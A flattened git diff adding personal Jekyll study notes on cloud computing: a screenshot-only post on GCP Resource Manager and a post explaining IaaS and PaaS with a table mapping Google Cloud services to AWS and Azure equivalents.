AM](https://i.imgur.com/1dUot1Z.png) + +--- + + + + +. diff --git a/_posts/01Cloud/01GCP/storage/2021-01-01-Resource-Manager.md b/_posts/01Cloud/01GCP/storage/2021-01-01-Resource-Manager.md new file mode 100644 index 00000000000..7c774d7b408 --- /dev/null +++ b/_posts/01Cloud/01GCP/storage/2021-01-01-Resource-Manager.md @@ -0,0 +1,81 @@ +--- +title: GCP - Resource Manager +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, Storage] +tags: [GCP] +toc: true +image: +--- + + +- [Resource Manager](#resource-manager) + - [quotas](#quotas) + - [labels and names](#labels-and-names) + - [bugets](#bugets) + + +--- + +# Resource Manager + +![Screen Shot 2021-06-30 at 12.51.28 AM](https://i.imgur.com/PMVFXwJ.png) + +![Screen Shot 2021-06-30 at 12.52.11 AM](https://i.imgur.com/GaZznpa.png) + +![Screen Shot 2021-06-30 at 12.52.44 AM](https://i.imgur.com/cZtX8VI.png) + + + +--- + +## quotas + +![Screen Shot 2021-06-30 at 12.53.10 AM](https://i.imgur.com/JFSni6X.png) + +![Screen Shot 2021-06-30 at 12.54.06 AM](https://i.imgur.com/UoWbrHj.png) + + +--- + +## labels and names + +![Screen Shot 2021-06-30 at 12.54.43 AM](https://i.imgur.com/luDzD5d.png) + +![Screen Shot 2021-06-30 at 12.55.05 AM](https://i.imgur.com/oGd7TFL.png) + +![Screen Shot 2021-06-30 at 12.55.34 AM](https://i.imgur.com/YjJduQh.png) + + +--- + +## bugets + + +![Screen Shot 2021-06-30 at 12.56.24 AM](https://i.imgur.com/RiQ41Bk.png) + + +![Screen Shot 2021-06-30 at 12.56.54 AM](https://i.imgur.com/5YEp8it.png) + + +![Screen Shot 2021-06-30 at 12.57.21 AM](https://i.imgur.com/PVvS1YW.png) + + + + + + + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/2021-01-01-Cloud-Services-and-Models.md b/_posts/01Cloud/2021-01-01-Cloud-Services-and-Models.md new file mode 100644 index 00000000000..633b4ff1b86 --- /dev/null +++ b/_posts/01Cloud/2021-01-01-Cloud-Services-and-Models.md @@ -0,0 +1,250 @@ +--- +title: Cloud Services and Models +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, Storage] +tags: [GCP] +toc: true +image: +--- + + +- [Cloud Services and Models](#cloud-services-and-models) + - [IaaS infrastructure as a service](#iaas-infrastructure-as-a-service) + - [PaaS Platform as a Service](#paas-platform-as-a-service) +- [Cloud Services](#cloud-services) + - [Compare AWS and Azure services to Google Cloud](#compare-aws-and-azure-services-to-google-cloud) + +--- + +# Cloud Services and Models + +--- + +## IaaS infrastructure as a service + +pic + +- share compute resources with others by virtualizing the hardware. +- Each Virtual Machine has its own instance of an operating system +- and you build and run applications on it with access to memory, file systems, networking interfaces, and the other attributes that physical computers also have. + +- But flexibility comes with a cost + + - the smallest unit of compute is a Virtual Machine together with its application + - The guest operating system maybe large, even gigabytes + - It can take minutes to boot up. + - Virtual Machine + + - highly configurable + - can install and run the tools of choice. + - can configure the underlying system resources + - such as disks and networking, + - can install the own web server database or a middle ware. + + - But the application demand increases, + - have to scale out in units of an entire Virtual Machine with a guest operating system for each. + - the resource consumption grows faster + +--- + +## PaaS Platform as a Service + +pic + +- like App Engine + - Instead of getting a blank Virtual Machine, get access to a family of services that applications need. + - write the code and self-contained workloads that use these services and include any dependent libraries. +- As demand for the application increases + - the platform scales the applications seamlessly and independently by workload and infrastructure. + - scales rapidly + - but you give up control of the underlying server architecture. + +--- + +# Cloud Services + +--- + +## Compare AWS and Azure services to Google Cloud + +| Service type | Google | Cloud product | Google Cloud product description | AWS offering | Azure offering | +| -------------------------- | -------------------------------------- | ------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ | +| App modernization | CI/CD | Cloud Build | Build, test, and deploy on Google Cloud serverless CI/CD platform | AWS CodeBuild, AWS CodeDeploy, AWS CodePipeline | Azure DevOps, GitHub Enterprise | +| App modernization | CI/CD | Google Cloud Deploy | Deliver continuously to Google Kubernetes Engine and Anthos. | AWS CodeCommit, AWS CodeBuild, AWS CodeDeploy | Azure DevOps | +| App modernization | Execution Control | Cloud Tasks | Control and observe asynchronous service requests between independent applications using this zonal, execution-control service. | Amazon EventBridge, Amazon Simple Notification Service (SNS) | Azure Service Bus, Azure Storage Queues | +| App modernization | Multi-cloud | Anthos | Migrate directly from VMs, build, deploy, and optimize apps on GKE, Anthos serverless landing zones and VMs anywhere—simply, flexibly, and securely | Amazon EKS Anywhere, Amazon ECS Anywhere, AWS Outposts | Azure Arc | +| App modernization | Multi-cloud | GKE Enterprise clusters | Extend GKE to work in multiple environments, including attached clusters, AWS, Azure, bare metal, and VMWare. | Amazon EKS Anywhere | +| App modernization | Multi-cloud | Config Management | Automate policy and security at scale for your hybrid and multi-cloud Kubernetes deployments. | AWS Systems Manager | Azure App Configuration | +| App modernization | Multi-cloud | Config Connector | Manage Google Cloud resources through Kubernetes. | AWS Controllers for Kubernetes | Azure Service Operator | +| App modernization | Multi-cloud | Container-Optimized OS | Efficiently and securely run Docker containers on Compute Engine VMs. | AWS Bottlerocket | Azure Container Instances | +| App modernization | Multi-cloud | Google Distributed Cloud | Extend Google Cloud’s infrastructure and services to the edge and your data centers. | AWS Outposts | Azure Stack | +| App modernization | Multi-cloud | Hybrid Connectivity | Connect your infrastructure to Google Cloud on your terms, from anywhere. | AWS Direct Connect | Azure Express Route | +| App modernization | Multi-cloud serverless | Cloud Run for Anthos (Knative serving) | Flexible serverless development for multicloud environments. | | +| App modernization | Service mesh | Anthos Service Mesh | Simplify, manage, and secure complex microservices architectures with this fully managed service. | AWS App Mesh | +| App modernization | Service mesh | Cloud Router | Dynamically exchange routes between your Virtual Private Cloud (VPC) and on-premises networks by using Border Gateway Protocol (BGP). | Amazon VPC | Azure VPN Gateway | +| App modernization | Service mesh | Istio on Google Kubernetes Engine | Quickly create GKE clusters with all the components you need to create and run an Istio service mesh in a single step. | Istio on Amazon EKS | Istio in Azure Kubernetes Service | +| AIML | Cloud cost optimization | Recommender | Optimize your Google Cloud usage with proactive, easily actionable recommendations. | AWS Cost Optimization | Azure Cost Management | +| AIML | Conversational interface | Dialogflow | Lifelike conversational AI with state-of-the-art virtual agents. | Amazon Lex | Azure Conversational AI | +| AIML | Document understanding | Document AI | Automate data capture at scale to reduce document processing costs. | Amazon Textract | Azure Form Recognizer | +| AIML | Image recognition | Vision AI | Derive insights from your images in the cloud or at the edge, or use pre-trained Vision API models to detect emotion, understand text, and more. | Amazon Rekognition Image | Azure Computer Vision | +| AIML | ML for structured data | Vertex AI AutoML tabular models | Automatically build and deploy state-of-the-art machine learning models on structured data. | Amazon SageMaker | AutoML in Azure ML Studio | +| AIML | ML platform | Deep Learning VM Images | Preconfigured VMs for deep learning applications. | Amazon SageMaker, Amazon EC2 P3 | Azure Data Science Virtual Machines | +| AIML | ML platform | TensorFlow Enterprise | Reliability and performance for AI applications with enterprise-grade support and managed services. | Tensorflow on AWS | Azure Databricks | +| AIML | ML platform | Vertex AI | Train your machine learning models at scale, to host your trained model in the cloud, and to use your model to make predictions about new data. | Amazon SageMaker | Azure AI Platform | +| AIML | ML platform | Vertex AI AutoML models | Train high-quality custom machine learning models with minimal effort and machine learning expertise. | Amazon SageMaker Autopilot | Azure Cognitive Services | +| AIML | ML platform | Vertex AI custom training | Host your machine learning models and train them with the power and flexibility of TensorFlow, scikit-learn, XGBoost, and custom containers. | Amazon SageMaker | Azure Machine Learning | +| AIML | ML platform | Vertex AI custom-trained models | Host your trained models so that you can send them prediction requests with the power and flexibility of TensorFlow, scikit-learn, and XGBoost. | Amazon SageMaker | Azure AI Platform | +| AIML | ML platform | Vertex AI Workbench | Create instances running JupyterLab that come pre-installed with the latest data science and machine learning frameworks in a single click. | Amazon SageMaker | Azure Notebooks | +| AIML | Natural language processing | Natural Language AI | Derive insights from unstructured text using Google machine learning. | Amazon Comprehend | Azure Text Analytics | +| AIML | Personalization | Recommendations | Deliver highly personalized product recommendations at scale. | Amazon Personalize | Azure Personalizer | +| AIML | Speech recognition | Speech-to-Text | Accurately convert speech into text using an API powered by Google's AI technologies. | Amazon Transcribe | Azure Speech to Text | +| AIML | Speech synthesis | Text-to-Speech | Convert text into natural-sounding speech using an API powered by Google’s AI technologies. | Amazon Polly | Azure Text to Speech | +| AIML | Translation | Translation AI | Dynamically translate between languages using Google machine learning. | Amazon Translate | Azure Translator | +| AIML | Video intelligence | Video Intelligence API | Quickly categorize video content using thousands of predefined labels and creating additional custom labels to suit your specific needs. | Amazon Rekognition Video | Azure Video Indexer | +| Backup & disaster recovery | SaaS | Backup and DR Service | Protect your data and business with this backup and disaster recovery offering that supports Google Cloud workloads as well as hybrid workloads like VMware, SAP HANA, Oracle, or SQL Server. | AWS Resilience Hub | Azure Backup and Disaster Recovery | +| Compute | Core compute | Cloud GPUs | Train and run machine learning models faster than before. | Amazon Elastic Compute Cloud (EC2) P3 | GPU Optimized VMs | +| Compute | Core compute | Cloud TPU | Train and run machine learning models faster than ever before. | AWS UltraClusters | Azure Virtual Machines | +| Compute | Core compute | Local SSD | Support workloads that require high performance, low latency temporary storage. Local SSD disks are always-encrypted solid-state storage for Compute Engine VMs. | AWS Nitro SSD | NVMe disks | +| Compute | Core compute | Compute Engine | Accelerate your digital transformation with high-performance VMs. | Amazon Elastic Compute Cloud (EC2) | Azure Virtual Machines | +| Compute | Core compute | Compute Engine Autoscaler | Automatically add or delete VM instances from a managed instance group (MIG) based on increases or decreases in load. | AWS EC2 Autoscaling | Azure Autoscale, Azure Virtual Machine Scale Sets | +| Compute | Core compute | OS Login | Manage SSH access to your instances using IAM without having to create and manage individual SSH keys. | Amazon EC2 Instance Connect | +| Compute | Core compute | Persistent Disk | Reliable, high-performance block storage for VM instances. | Amazon Elastic Block Store (EBS) | Azure Managed Disks | +| Compute | Core compute | SSH from the browser | Connect to a Compute Engine virtual machine (VM) instance using SSH with the Google Cloud console in your web browser. | AWS EC2 Instance Connect | Azure Bastion | +| Compute | Core Compute | VM Manager | Manage operating systems for large virtual machine (VM) fleets running Windows and Linux on Compute Engine. | AWS Systems Manager | +| Compute | Dedicated VMs | Sole-tenant nodes | Host your VMs on hardware dedicated only to your project. | Amazon EC2 Dedicated Host | Azure Dedicated Host | +| Compute | Infrastructure modernization | SAP on Google Cloud | Run SAP on Google Cloud. | SAP on AWS | SAP on Azure | +| Compute | PaaS | App Engine | Build highly scalable applications on a fully managed serverless platform. | AWS Lambda, AWS Fargate, AWS App Runner | Azure App Service | +| Compute | VMware connectivity | VMware Engine | Migrate and run your VMware workloads on Google Cloud. | VMware Cloud on AWS | Azure VMware Solution | +| Containers | CaaS | Google Kubernetes Engine | Secured and managed Kubernetes service with four-way autoscaling and multi-cluster support. | Amazon Elastic Kubernetes Service (EKS), Amazon Elastic Container Service (ECS) | Azure Kubernetes Service (AKS) | +| Containers | Container registry | Artifact Registry | Store, manage, and secure your container images. | Amazon Elastic Container Registry (ECR), AWS CodeArtifact | Azure Container Registry, Azure Artifacts | +| Containers | Container Security | Binary Authorization | Require images to be signed by trusted authorities during the development process and then enforce signature validation when deploying. | | +| Containers | Gaming | Game Servers | Deliver seamless multiplayer gaming experiences with simpler multicluster management. | Amazon GameLift | Azure for Gaming | +| Data analytics | Business intelligence | Looker | Explore, share, and visualize your company's data so that you can make better business decisions. | Amazon QuickSight | Microsoft Power BI | +| Data analytics | Data discovery and metadata management | Dataplex | Discover, understand, and manage data at scale with powerful search and seamless integration to BigQuery, Pub/Sub, and Cloud Storage, secured using IAM and Cloud Data Loss Prevention. | AWS Glue Data Catalog | Azure Purview, Azure Data Explorer | +| Data analytics | Data integration / ETL | Cloud Data Fusion | Implement fully managed, cloud-native data integration at scale. | Amazon AppFlow, Amazon Data Pipeline, AWS Glue | Azure Data Factory | +| Data analytics | Data processing | Dataproc | Deploy open-source data and analytics processing services (Apache Hadoop, Apache Spark, etc.) with improved efficiency and security. | Amazon Elastic MapReduce (EMR), AWS Batch, AWS Glue | Azure Data Lake Analytics, HDInsight | +| Data analytics | Data warehouse | BigQuery | Serverless, highly scalable, and cost-effective multi-cloud data warehouse designed for business agility. | Amazon Athena, Amazon Redshift | Azure Synapse Analytics | +| Data analytics | Data wrangling | Dataprep by Trifecta | An intelligent cloud data service to visually explore, clean, and prepare data for analysis and machine learning. | AWS Glue Data Brew | Azure Data Factory | +| Data analytics | Messaging | Pub/Sub | Messaging and ingestion for event-driven systems and streaming analytics. | AWS Kinesis, Amazon MQ | Azure Service Bus Messaging | +| Data analytics | Messaging | Pub/Sub Lite | Send and receive messages between independent applications using this zonal, real-time messaging service. | Amazon Simple Notification Service, Amazon Simple Queueing Service | Azure Service Bus Messaging | +| Data analytics | Query service | BigQuery | Analyze petabytes of data at scale using ANSI SQL and gain 26%–34% lower three-year total cost of ownership (TCO) than competing cloud data warehouses. | Amazon Redshift Spectrum | Azure Synapse Analytics | +| Data analytics | Stream data ingest | Pub/Sub | Create scalable messaging and ingestion for event-driven systems and streaming analytics. | Amazon Kinesis | Azure Event Hubs | +| Data analytics | Stream data processing | Dataflow | Unify stream and batch data processing that's serverless, fast, and cost-effective. | Amazon Kinesis Data Firehose | Azure Stream Analytics | +| Data analytics | Workflow orchestration | Cloud Composer | Author, schedule, and monitor pipelines that span across hybrid and multi-cloud environments using this fully managed workflow orchestration service built on Apache Airflow. | Amazon Data Pipeline, AWS Glue, Managed Workflows for Apache Airflow | Azure Data Factory | +| Data analytics | Stream data processing | Datastream | Synchronize data reliably, and with minimal latency, using a serverless change data capture (CDC) and replication service. | AWS Glue, Amazon Aurora zero-ETL integration with Amazon Redshift, AWS DMS | Azure Data Factory | +| Data analytics | Data processing | Dataform | Develop and operationalize scalable data transformations pipelines in BigQuery using SQL. | | +| Database | Document data storage | Firestore | Easily develop rich applications using a fully managed, scalable, and serverless document database. | Amazon DocumentDB, Amazon DynamoDB | Azure Cosmos DB | +| Database | In-memory data store | Memorystore | Reduce latency with scalable, secure, and highly available in-memory service for Redis and Memcached. | Amazon ElastiCache | Azure Cache | +| Database | NoSQL: Indexed | Datastore | A highly scalable NoSQL database for your web and mobile applications. | Amazon DynamoDB | Azure Cosmos DB | +| Database | NoSQL: Key-value | Bigtable | Run large analytical and operational workloads using this fully managed, scalable NoSQL database service. | Amazon DynamoDB | Azure Cosmos DB | +| Database | RDBMS | AlloyDB for PostgreSQL | Run transactional workloads 4x faster than standard PostgreSQL, and analytical queries up to 100x faster. | Amazon Aurora | Azure Cosmos DB for PostgreSQL, Azure SQL Database | +| Database | RDBMS | Cloud Spanner | Manage relational data with massive scale, strong consistency worldwide, and up to 99.999% availability. | Amazon Aurora | Azure SQL Database | +| Database | RDBMS | Cloud SQL | Manage relational data for MySQL, PostgreSQL, and SQL Server for workloads under 64 TB. | Amazon Relational Database Service (RDS), Amazon Aurora | Azure Database for MySQL and Azure Database for PostgreSQL | +| Database | Relational | Bare Metal Solution | Lift and shift Oracle workloads to Google Cloud. | Amazon RDS for Oracle | Azure Oracle Database Enterprise Edition | +| Developer tools | Client libraries | Cloud SDK | Tools and libraries for interacting with Google Cloud products and services. | AWS SDKs | Azure SDKs | +| Developer tools | Cloud development IDE plugin | Cloud Code for IntelliJ | Write, debug, and deploy your cloud-based applications for IntelliJ, VS Code, or any browser. | AWS Toolkit for IntelliJ | Azure Toolkit for IntelliJ | +| Developer tools | Cloud development IDE plugin | Cloud Code for VS Code | Write, debug, and deploy your cloud-based applications for IntelliJ, VS Code, or any browser. | AWS Toolkit for Visual Studio Code | Azure Tools for Visual Studio Code | +| Developer tools | Cloud-based IDE | Cloud Shell | Manage your infrastructure and develop your applications from any browser. | AWS CloudShell | Azure Cloud Shell | +| Developer tools | Command-line interface (CLI) | Cloud SDK | Tools and libraries for interacting with Google Cloud products and services. | AWS CLI | Azure CLI | +| Developer tools | Error handling | Error Reporting | Real-time exception monitoring and alerting for your applications. | | +| Developer tools | Git Repositories | Cloud Source Repositories | Access fully featured, private Git repositories hosted on Google Cloud. | AWS Code Commit | Azure Repos | +| Developer tools | Job scheduling | Cloud Scheduler | Fully managed cron job service. | Amazon EventBridge | Azure Logic Apps | +| Developer tools | No-code | AppSheet | Enable anyone to build business applications and automated workflows, without coding. | AppSheet, Amazon Honeycode | Microsoft Power Platform | +| Developer tools | Parallel task execution | Cloud Tasks | Control and observe asynchronous service requests between independent applications using this zonal, execution-control service. | Amazon Simple Queue Service (SQS), Amazon Simple Notification Service (SNS) | Azure Service Bus, Azure Storage Queues | +| Developer tools | PowerShell | Cloud Tools for PowerShell | Full cloud control from Windows PowerShell. | AWS Tools for PowerShell | Azure Tools for PowerShell | +| Enterprise | Abuse prevention | reCAPTCHA Enterprise | Help protect your website from fraudulent activity, spam, and abuse without creating friction. | AWS WAF CAPTCHA, AWS Fraud | Microsoft Dynamics Fraud | +| Enterprise | Marketplace | Marketplace | Scale procurement for your enterprise via online discovery, purchasing, and fulfillment of enterprise-grade cloud solutions. | AWS Marketplace | Azure Marketplace | +| Enterprise | ML workflows | Tensorflow Enterprise | Scale resources across CPUs, GPUs, and record-setting Cloud TPUs. | Tensorflow on AWS | Azure DataBricks | +| Enterprise | Solutions catalog | Private Catalog | Control internal enterprise solutions and make them easily discoverable. | AWS Service Catalog | Azure Custom Images, Azure API Management | +| Government services | Regulated services | Assured Workloads | Run more secure and compliant workloads on Google Cloud. | AWS GovCloud | Azure Government | +| Integration services | API management | Apigee API Management | Design, secure, analyze, and scale APIs anywhere with visibility and control. | Amazon API Gateway | Azure API Management | +| iPaaS | Integration platform | Application Integration | An Integration Platform as a Service (iPaaS) that automates business processes by connecting any application with point-and-click configurations. | Amazon AppFlow | Azure Logic Apps | +| Management tools | API management | API Gateway | Develop, deploy, secure, and manage APIs with a fully managed gateway. | Amazon API Gateway | Azure API Management | +| Management tools | Cost management | Cost Management | Tools for monitoring, controlling, and optimizing your Google Cloud costs. | AWS Cost Explorer, AWS Budgets | Azure Cost Management | +| Management tools | Deployment | Cloud Deployment Manager | Create and manage cloud resources with simple templates. | AWS CloudFormation, AWS Serverless Application Model (SAM), AWS Cloud Development Kit (CDK) | Azure Deployment Manager | +| Management tools | Monetization | Apigee API Management | Easy-to-use and flexible way to monetize your APIs so that you can generate revenue whenever your APIs are used. | Amazon Publisher Services, Mobile Ads | Azure API Management | +| Media | AI | Video AI | Enable powerful content discovery and engaging video experiences. | Amazon Rekognition Video | Azure Video Analyzer for Media | +| Media | Encoding and streaming | Livestream API | Encode and transform live video content for use across a variety of user devices. | AWS MediaLive | Azure Media Services | +| Media | Encoding and streaming | Transcoder API | Convert video files and package them for optimized delivery to web, mobile, and connected TVs. | AWS Media Convert | Azure Media Services | +| Media | Monetization | Video Stitcher API | Dynamically insert content and ads for targeted personalization of video-on-demand (VOD) and live content. | AWS MediaTailor | Azure Media Services, Azure Video Indexer | +| Migration | Container migration | Migrate to Containers | Intelligently extract, migrate, and modernize applications to run natively on containers in GKE and Anthos clusters. | AWS App2Container | Azure Migrate | +| Migration | Server migration | Migrate to Virtual Machines | Migrate VM instances to Google Cloud from AWS, Azure, or VMWare VSphere. | AWS Server Migration Service | Azure Migrate | +| Migration | SQL database migration | Database Migration Service | Migrate databases to Cloud SQL from on-premises, Compute Engine, and other clouds. | AWS Database Migration Service | Azure Database Migration Service | +| Migration | Storage migration | Storage Transfer Service | Complete large-scale online data transfers from online and on-premises sources to Cloud Storage. | AWS Storage Gateway, AWS DataSync | Azure Data Factory, Azure Storage Mover | +| Migration | Storage migration | Transfer Appliance | Securely migrate large volumes of data to Google Cloud through physical shipments of large-capacity and cost-efficient storage transfer appliances. | AWS Snowcone, AWS Snowball, AWS Snowmobile | Azure Data Box | +| Networking | CDN | Cloud CDN | Serve web and HTTP(S) content globally and in a secure manner using the low-latency, global Google Front End (GFE). | Amazon CloudFront | Azure Front Door | +| Networking | CDN | Media CDN | Deliver exceptional media content through Google's planet-scale cache network. | Amazon CloudFront | Azure Front Door | +| Networking | Domains and DNS | Cloud DNS | Publish your zones and records in DNS without the burden of managing your own DNS servers and software. | Amazon Route 53 | Azure DNS | +| Networking | Domains and DNS | Cloud Domains | Register and configure a domain in Google Cloud. | Amazon Route 53 | +| Networking | Firewall | Google Cloud Armor | Help protect your applications and websites against denial of service and web attacks. | AWS WAF, AWS Shield | Azure Web Application Firewall (WAF) | +| Networking | Firewall | Google Cloud Armor Managed Protection Plus | Help protect your applications and websites against advanced denial of service and web attacks. | AWS Shield Advanced | Azure DDoS Protection | +| Networking | Firewall | Cloud Firewall | Protect your network with firewalls that are fully embedded in the cloud networking fabric, highly scalable, and granular. | AWS Network Firewall, AWS Security Groups, AWS network Access Control List (ACL) | Azure Firewall | +| Networking | Load balancing | Cloud Load Balancing | Efficiently distribute network traffic across Compute Engine, Google Kubernetes Engine (GKE), serverless applications, and multi-cloud services. | Elastic Load Balancing | Azure Load Balancer | +| Networking | Network connectivity | Cloud Interconnect | Extend your on-premises network to Google's network through a highly available, low-latency connection. You can use Dedicated Interconnect to connect directly to Google or use Partner Interconnect to connect to Google through a supported service provider. | AWS Direct Connect | Azure ExpressRoute | +| Networking | Network connectivity | Cloud VPN | Connect your peer network to your Virtual Private Cloud (VPC) network through an IPsec VPN connection. | AWS Virtual Private Network (VPN) | Azure Virtual Private Network (VPN) | +| Networking | Network connectivity | Network Connectivity Center | Reimagine how you deploy, manage, and scale your networks on Google Cloud and beyond. | Amazon Cloud WAN, AWS Transit Gateway | Azure Virtual WAN | +| Networking | Network connectivity | Private Service Connect | Create a private and secure connection from your VPCs to Google, third parties, or your own services. | AWS PrivateLink | Azure Private Link | +| Networking | Network monitoring | Network Intelligence Center | Centralize your network monitoring functions to verify network configurations, optimize network performance, increase network security, and reduce troubleshooting time. | AWS Network Manager | Azure Network Watcher | +| Networking | Premium networking | Network Service Tiers, Premium Tier | High-performing network experience using Google's global network. | AWS Global Accelerator | Internet egress (routed over the premium Microsoft global network) | +| Networking | Premium networking | Network Service Tiers, Standard Tier | Cost-effective network for data transfers with performance that is comparable to the internet. | AWS data transfer | Internet egress (routed over the public Internet (ISP network) | +| Networking | Service mesh | Traffic Director | Easily deploy global load balancing across clusters and VM instances in multiple regions, offload health checking from service proxies, and configure sophisticated traffic control policies. | AWS App Mesh | Open Service Mesh | +| Networking | Services discovery (DNS) | Service Directory | Publish, discover, and connect services from a single directory. | AWS Cloud Map | Hashicorp Consul Service on Azure | +| Networking | Virtual networks | Cloud NAT | Send and receive packets using Google Cloud private GKE clusters or Compute Engine VM instances with no external IP address. | AWS NAT gateway | Azure NAT Gateway | +| Networking | Virtual networks | Virtual Private Cloud | Provide managed networking functionality for your cloud-based services running on Compute Engine VM instances, Google Kubernetes Engine, App Engine flexible environment instances, and other Google Cloud products built on Compute Engine VMs. | Amazon Virtual Private Cloud (VPC) | Azure Virtual Network | +| Operations | Audit logging | Cloud Audit Logs | Log all user activity on Google Cloud. | AWS CloudTrail | Azure Audit Logs | +| Operations | Logging | Cloud Logging | Manage logging and analysis in real time at scale. | Amazon CloudWatch Logs | Azure Monitor Logs | +| Operations | Monitoring | Cloud Monitoring | Monitor the performance, availability, and health of your applications and infrastructure. | Amazon CloudWatch | Azure Monitor | +| Operations | Performance tracing | Cloud Trace | Find performance bottlenecks in production. | AWS X-Ray | Azure Monitor Application Insights Distributed Tracing | +| Operations | Profiling | Cloud Profiler | Understand resource consumption in your code and see the ways the code is actually called. | Amazon CodeGuru Profiler | Azure Monitor Application Insights Profiler | +| Security & identity | Certificate management | Certificate Authority Service | Simplify the deployment and management of private certificate authorities without managing infrastructure. | AWS Private Certificate Authority (AWS Private CA) | +| Security & identity | CIAM | Identity Platform | Add Google-grade identity and access management to your apps. | Amazon Cognito | Azure Active Directory B2C | +| Security & identity | Cloud provider access management | Access Transparency and Access Approval | Help expand visibility and control over your cloud provider with admin access logs and approval controls. | | Customer Lockbox for Microsoft Azure | +| Security & identity | Container security | Artifact Analysis | Perform vulnerability scans on container images in Artifact Registry and Container Registry, and monitor vulnerability information to keep it up to date. | Amazon ECR Image Scanning | Azure Defender for container registries | +| Security & identity | Data loss prevention (DLP) | Sensitive Data Protection (including Cloud Data Loss Prevention and DLP API) | Discover, classify, and help protect your most sensitive cloud data. | Amazon Macie | Azure Information Protection | +| Security & identity | Encryption | Confidential Computing | Encrypt data in-use with Confidential Computing and Confidential GKE Nodes. | AWS Nitro Enclaves, AMD Secure Encrypted Virtualization-Secure Nested Paging (AMD SEV-SNP) | Azure Confidential Computing | +| Security & identity | Exfiltration prevention | VPC Service Controls | Isolate resources of multi-tenant Google Cloud services to help mitigate data exfiltration risks. | AWS PrivateLink | Azure Private Link | +| Security & identity | Key management | Cloud KMS and Cloud HSM | Host encryption keys and perform cryptographic operations in a cluster of FIPS 140-2 Level 3 certified hardware security modules (HSMs). | AWS KMS (FIPS 140-2 Level 2) | Azure Key Vault (FIPS 140-2 Level 2) | +| Security & identity | Key management | Cloud KMS and Cloud EKM | Use keys that you manage within a supported external key management partner to protect data within Google Cloud. | AWS KMS with AWS External Key Store (XKS), AWS CloudHSM with custom key store | Azure Managed HSM | +| Security & identity | IAM | Cloud Identity | A unified identity, access, app, and endpoint management (IAM/EMM) platform. | AWS IAM Identity Center | Microsoft Entra ID (Azure AD) | +| Security & identity | IAM | Identity and Access Management | Provide fine-grained access control and visibility for centrally managing resources. | Amazon Identity and Access Management | Azure Identity Management | +| Security & identity | IAM | Identity-Aware Proxy (IAP) | Use identity and context to guard access to your applications and VMs. | AWS Verified Access | Azure Application Proxy | +| Security & identity | IAM | Identity-Aware Proxy (IAP) TCP forwarding | Establish an encrypted tunnel over which you can forward SSH, RDP, and other traffic to VM instances. | AWS Systems Manager | Azure Bastion Host | +| Security & identity | IAM | Managed Service for Microsoft Active Directory | Use a highly available, hardened service running actual Microsoft Active Directory (AD). | AWS Managed Microsoft AD | Azure Active Directory Domain Services | +| Security & identity | Resource access management | Organization Policy Service | Configure restrictions on how resources can be used. | AWS Organizations policies | Azure Policy | +| Security & identity | Resource monitoring | Cloud Asset Inventory | View, monitor, and analyze all your Google Cloud and Anthos assets across projects and services using this metadata inventory service. | AWS Config | Azure Resource Graph | +| Security & identity | Resource monitoring | Resource Manager | Hierarchically manage resources by project, folder, and organization. | AWS Resource Access Manager, AWS Organizations | Azure Resource Manager | +| Security & identity | SIEM | Google Security Operations SIEM | Normalizes, indexes, correlates, and analyzes security and network data to provide instant analysis and context on risky activity. | Amazon Security Lake | Microsoft Sentinel | +| Security & identity | SOAR | Google Security Operations SOAR | A platform that is designed to help organizations detect, investigate, and respond to security threats in real time. | | Microsoft Sentinel | +| Security & identity | Secret management | Secret Manager | Store API keys, passwords, certificates, and other sensitive data. | AWS Secrets Manager, AWS Systems Manager Parameter Store | Azure Key Vault | +| Security & identity | Key management | Cloud Key Management Service (Cloud KMS) | Manage encryption keys on Google Cloud. | AWS Key Management Service (KMS) | Azure Key Vault | +| Security & identity | Security and risk management | Security Command Center | Security and risk management platform for Google Cloud. | Amazon Guard Duty, AWS Security Hub, AWS Audit Manager, AWS Config | Microsoft Defender for Cloud | +| Security & identity | Zero trust | BeyondCorp Enterprise | Enable secure access to critical applications and services, with integrated threat and data protection. | | +| Security & Identity | IAM | Workload Identity Federation | Use an external identity provider (IdP) to authenticate and authorize your users using IAM, so that your users can access Google Cloud services. | AWS IAM Identity Center | Azure Active Directory External Identities | +| Serverless | Build | Cloud Storage for Firebase | Store and serve user-generated content from Firebase apps, such as photos or videos, including bandwidth-friendly transactions and automated ML, synced automatically in real time. | AWS Simple Storage Service (S3) | Azure Blob Storage | +| Serverless | Build | Firebase Auth | Sign in users to your Firebase app, either by using Firebase UI as a complete drop-in authentication solution, or by using the Firebase Authentication SDK to manually integrate one or several sign-in methods into your app. | Amazon Cognito | Azure App Service authentication (Easy Auth) | +| Serverless | Build | Firebase Hosting | Provides fast and secure hosting for your Firebase web app, static and dynamic content, and microservices, including a generous free tier. | AWS Amplify Hosting | GitHub Pages, Static Web Apps | +| Serverless | Build | Firebase Realtime Database | Store and sync data from your Firebase application with our NoSQL cloud database. Data is synced across all clients in real time, and remains available when your application goes offline. | Amazon DynamoDB, AWS AppSync | Azure Cosmos DB | +| Serverless | Containers without infrastructure | Cloud Run | Develop and deploy highly scalable containerized applications on a fully managed serverless platform. | AWS App Runner, AWS Fargate, AWS Lambda | Azure Container Apps, Azure Container Instances | +| Serverless | Engage | Firebase A/B Testing | Deploy A/B experiments to test how a change to your application's UI, features, or engagement campaigns affects key metrics (like revenue) before you implement the change widely. | | +| Serverless | Engage | Firebase Cloud Messaging | Send and receive notifications across platforms with this reliable and battery-efficient connection between your server and devices, including iOS, Android, and the web. | Amazon Device Messaging (ADM), Amazon Simple Notification Service (SNS) | Azure Notification Hubs | +| Serverless | Engage | Firebase Messaging Campaigns (Firebase Cloud Messaging or Firebase In-App Messaging) | Engage active users of your Firebase application by sending them targeted, contextual messages to complete key actions, such as beating a game level, buying an item, or subscribing to content. | Amazon Simple Notification Service (SNS) | Azure Notification Hubs | +| Serverless | Engage | Firebase Remote Config | Control and optimize your app on the fly. | AWS AppConfig | Azure App Configuration | +| Serverless | Engage | Google Analytics for Firebase | Make informed decisions regarding application marketing and performance optimizations by understanding user behavior using the Firebase SDK and integration with the Google ecosystem. | AWS Amplify, Amazon Pinpoint | +| Serverless | Event handling | Eventarc | Asynchronously deliver events from Google services, SaaS, and your own apps using loosely coupled services that react to state changes. | AWS EventBridge | Azure Event Grid | +| Serverless | FaaS | Cloud Functions | Run your code with zero server management with this scalable, pay-as-you-go functions-as-a-service (FaaS) offering. | AWS 